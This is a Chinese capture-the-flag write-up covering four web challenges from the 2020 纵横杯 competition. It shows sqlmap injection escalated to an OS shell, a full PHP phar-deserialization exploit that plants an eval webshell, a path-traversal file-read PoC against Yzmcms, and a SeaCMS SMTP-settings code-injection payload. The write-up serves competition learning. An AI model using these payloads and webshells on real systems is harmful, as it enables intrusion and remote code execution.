我们终此一生,就是为摆脱他人的期待,做真正的自己!
点击上方蓝字关注我们
easyci
1. 用户名存在sql注入,sqlmap可以直接一把嗦
2. 发现是root权限,利--sql-shell 的select load_file('');可以进行任意文件读取,读取/etc/apache2/apache2.conf
3. 可以看到/var/secert/,于是可以猜想web目录应该在/var/sercet/html
(这里卡了好久,tccccccllllll)
直接通过sqlmap 的命令--os-shell一把嗦(这里注意:自定义目录为/var/sercet/html, 一开始是/var/sercet/html/public/ 因为没注意权限,在这也卡了好久)
hello_php
1. 首先使用 https://gitee.com/maxxis/fuzzDicts/tree/master/ctfDict/ctf-wscan 对URL进行扫描:
2. 下载zip文使用,Seay源代码审计系统辅助审计
Admin.php文件:
全文只有一个上传点$config->upload_logo();
前提是需要先登录才可以使用上传:账号密码都硬编码在了config.php
Class.php:
上传文件内容可控,生成的文件名是md5(time()) 可以得知上传文件后的路径
3. __destruct函数明显的经典配置文件:参考文章:https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html
4. 根据以下图可以知道使用file_exists函数,结合前面的经典配置文件漏洞,前提是需要反序列化,所以可以想到phar反序列化去反序列化config类,修改$this->title或者$this->comment;就可以篡改任意执行代码。
5. 生成phar反序列化代码在代码框。
得到phar.phar 拿去上传,根据Date头部得到时间,但是小时需要改一下,时区问题,我在本地也是和系统时间的小时对不上,多加8个小时就可对应文件。
通过:https://tool.lu/timestamp/ 在线时间戳转换一下,然后MD5加密即可得到文件名
然后构造
http://eci-2ze9eefnhrp3283m0ooj.cloudeci1.ichunqiu.com/index.php?img=phar://./static/47dd6642e5c2ec23c880b6ce880aa7f6.jpg
来触发反序列化
Config.php就是webshell,用蚁剑连接,发现没有权限,那肯定需要disable_function
蚁剑有disable_function 插件 可以在插件市场下载
连接代理脚本 拿flag:
附带exp:
include('config.php');
class Config{
public $title;
public $comment;
public $logo_url;
public function __construct(){
global $title;
global $comment;
global $logo_url;
$this->title= $title;
$this->comment = $comment;
$this->logo_url = $logo_url;
}
public function upload_logo(){
if(!empty($_FILES)){
$path='./static/'.md5(time()).'.jpg';
move_uploaded_file($_FILES["file"]["tmp_name"],'./static/'.md5(time()).'.jpg');
}
}
public function update_title($title,$comment){
#垃圾老板就给我这么点钱,叫我怎么帮你做事。
}
public function __destruct(){
$file = file_get_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php');
$file = preg_replace('/$title='.*?';/', "$title='$this->title';", $file);
$file = preg_replace('/$comment='.*?';/', "$commnet='$this->comment';", $file);
file_put_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php', $file);
}
}
$config=new Config;
$config->title = 'test';eval($_POST[123]);//';
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($config); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
ezcms
拿到地址,首先就是扫描一波:
下载www.zip文件
然后看到了这个是Yzmcms一顿Google。
找到了:https://www.cnblogs.com/Spec/p/11188198.html
参考该文章,后台需要账号密码。
在www.zip里面找了一下 使用db的账号密码就可以登录。
使用file协议的时候:
定位一下这个内容:发现判断有问题,就判断了url前4个字符 意味着httpxxxx:// 只要不是http https就可以
根据:
使用file_get_contents来获取源代码。
使用ticks 绕过 file_get_contents识别不了的协议会当作目录,域名算上就就是两个目录多加一些../ 就可以到达根目录
Poc:<test123><a href="httpsssss://baidu.com/../../../../.,./../../../flag">123</a></test123>
然后重新采集就可以拿到flag
大家一起来代码审计
http://eci-2ze6qzeoof3pqwrhnvor.cloudeci1.ichunqiu.com/
老规矩了先扫描在google:
下载www.zip
根据目录结构名字,得到后台地址 adm1n
使用admin/admin弱口令登录了后台
参考;https://www.codenong.com/cs106920348/
发现被改了很多,不让我RCE。。。
上github官方地址找issue找到了https://github.com/ciweiin/seacms/issues/11
打开下载的www.zip找到了admin_smtp.php文件
仔细看代码,可以发现他是用双引号包裹起来的变量写入到文件。
Php可以支持双引号里面解析变量。然后在结合复杂变量${phpinfo()} 来任意执行代码
POC: smtpserver=${eval($_POST[123])}&smtpserverport=smtpserverport&smtpusermail=smtpusermail&smtpuser=smtpuser&smtppass=smtppass
webshell地址:
http://eci-2ze6qzeoof3pqwrhnvor.cloudeci1.ichunqiu.com/data/admin/smtp.php
蚁剑连接:不需要disable_function 直接读取flag
END
本文始发于微信公众号(IDLab):2020纵横杯WriteUp-Web专项篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论